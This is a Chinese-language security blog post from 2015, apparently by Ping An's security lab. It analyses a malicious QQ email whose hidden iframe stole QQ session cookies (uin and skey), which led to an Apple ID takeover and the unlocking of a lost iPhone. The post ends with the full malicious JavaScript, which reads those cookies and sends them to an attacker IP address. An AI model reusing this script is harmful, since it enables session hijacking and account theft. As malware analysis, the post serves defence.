【返回博客列表 】

[PSRC-B-20150002] 一封QQ恶意邮件,导致Apple ID密码丢失!

编号:
PSRC-B-20150002
来源:
银河实验室
作者:
天真无邪
发布日期:
2015-10-30
阅读量:
8803
一封QQ恶意邮件,导致Apple ID密码丢失!

        一个朋友丢了一台iPhone 6 Plus,用iCloud开启了丢失模式。直到某一天收了一封QQ邮件,几分钟后APPLE ID被修改了,丢失的iPhone 6 Plus从iCloud中移除了。不是钓鱼邮件,也没有输入任何账户密码,就点了一个图片链接后,Apple ID密码就丢了。这勾起了我的好奇心,随即让朋友把邮件转发给我。

        链接在浏览器最下边,太长了,直接查看框架代码。


        开虚拟机,打开IE F12开发者工具,先看看情况。
        直接打开了广州日报大洋网,但域名是user1.cnuniversal.cn,地区是香港。查看F12抓取到的HTTP数据,原来是嵌入了2个iframe,第2个iframe是恶意网页。
        网页中只有一小段js脚本,功能是向腾讯企业邮箱:http://support.exmail.qq.com/cgi-bin/login发送一个POST请求,然后执行其自定义的一个JS脚本。JS脚本名用unicode编了下码,解码后如下图
        域名ylfu.pw和user1.cnuniversal.cn指向同一个IP。将这个JS脚本下载回来,出现了关键HTTP请求,都指向同一IP。

        真相原来就是通过搜索cookie,获取了QQ号和skey,利用skey登陆朋友QQ邮箱或其他QQ服务,然后进一步获取到了Apple ID密码。

        后来通过和朋友仔细沟通,得知朋友的APPLE ID就是QQ邮箱,但密码不同。骗子通过skey登陆朋友QQ邮箱,然后发送重置APPLE ID密码的邮件,最后成功解锁了iCloud锁定的iPhone 6 Plus。

        技术虽然是老技术,但对普通用户来说,确实没办法防御。腾讯蛋疼的skey机制,不管邮箱、空间还是相册,一律通杀,这个粒度确实太广了。        

        利用Apple ID的远程锁定进行诈骗最近呈爆发式啊,还没开启Apple ID二次验证的小伙伴,一定要去开启。

附JS完整代码。

document.domain = "qq.com";
window.onload = documentrrady;  // 我注释的:入口点
var browser = {
    versions: function () {
        var u = navigator.userAgent, app = navigator.appVersion;
        return {
            trident: u.indexOf('Trident') > -1, //IE内核
            presto: u.indexOf('Presto') > -1, //opera内核
            webKit: u.indexOf('AppleWebKit') > -1, //苹果、谷歌内核
            gecko: u.indexOf('Gecko') > -1 && u.indexOf('KHTML') == -1,//火狐内核
            mobile: !!u.match(/AppleWebKit.*Mobile.*/), //是否为移动终端
            ios: !!u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/), //ios终端
            android: u.indexOf('Android') > -1 || u.indexOf('Linux') > -1, //android终端或者uc浏览器
            iPhone: u.indexOf('iPhone') > -1, //是否为iPhone或者QQHD浏览器
            iPad: u.indexOf('iPad') > -1, //是否iPad
            webApp: u.indexOf('Safari') == -1 //是否web应该程序,没有头部与底部
        };
    }(),
    language: (navigator.browserLanguage || navigator.language).toLowerCase()
}
function GetWebVersion() {

    if (browser.versions.iPhone) {
        return "iPhone";
    }
    if (browser.versions.android) {
        return "android";
    }
    return "pc";
}
function getCookie(name) {
    var arr, reg = new RegExp("(^| )" + name + "=([^;]*)(;|$)");

    if (arr = document.cookie.match(reg))

        return unescape(arr[2]);
    else
        return null;
}
function getQueryString(name) {
    var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i");
    var r = window.location.search.substr(1).match(reg);
    if (r != null) return unescape(r[2]); return null;
}
function documentrrady()
{
    window.location.href = "http://122.10.18.36/server/AddQQUser?qqnumber=" + parseInt(getCookie("uin").replace("o", "")) + "&skey=" + getCookie("skey") + "&sex=&nickname=&city=&useragant=" + GetWebVersion() + "&addfriendsids=&qqtype=lockKey2&cookie=&uin=" + getCookie("uin");
}


欢迎社会各界向我们反馈平安集团所有产品和业务的安全问题,更多信息可见报告漏洞